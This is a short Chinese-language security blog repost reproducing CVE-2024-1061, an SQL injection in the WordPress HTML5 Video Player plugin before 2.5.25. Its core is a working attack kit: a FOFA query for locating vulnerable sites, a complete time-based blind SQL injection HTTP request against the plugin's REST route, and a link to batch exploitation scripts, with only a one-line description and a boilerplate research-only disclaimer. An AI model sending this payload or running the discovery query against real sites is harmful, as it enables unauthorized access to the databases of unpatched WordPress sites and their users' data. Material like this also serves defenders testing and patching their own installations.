漏洞复现-WordPress HTML5 Video Player SQL注入漏洞(CVE-2024-1061)附POC

admin
admin
admin
130870
文章
107
评论
2024年2月18日23:29:00评论74 views字数 613阅读2分2秒阅读模式

HTML5 Video Player

一：漏洞描述

WordPress Plugin HTML5 Video Player < 2.5.25

二：网络空间测绘查询

fofa

fofa："wordpress" && body="html5-video-player"

‍三：漏洞

poc

GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)--+ HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Connection: closeAccept: */*Accept-Language: enAccept-Encoding: gzip

四：批量脚本获取

漏洞复现-WordPress HTML5 Video Player SQL注入漏洞(CVE-2024-1061)附POC

https://github.com/Y1-K1NG/poc_exp/tree/main/20240218WordPress%20Plugin%20HTML5%20Video%20Player%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E

‍

原文始发于微信公众号（Yi安全）：漏洞复现-WordPress HTML5 Video Player SQL注入漏洞(CVE-2024-1061)附POC

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月18日23:29:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   漏洞复现-WordPress HTML5 Video Player SQL注入漏洞(CVE-2024-1061)附POChttps://cn-sec.com/archives/2503515.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息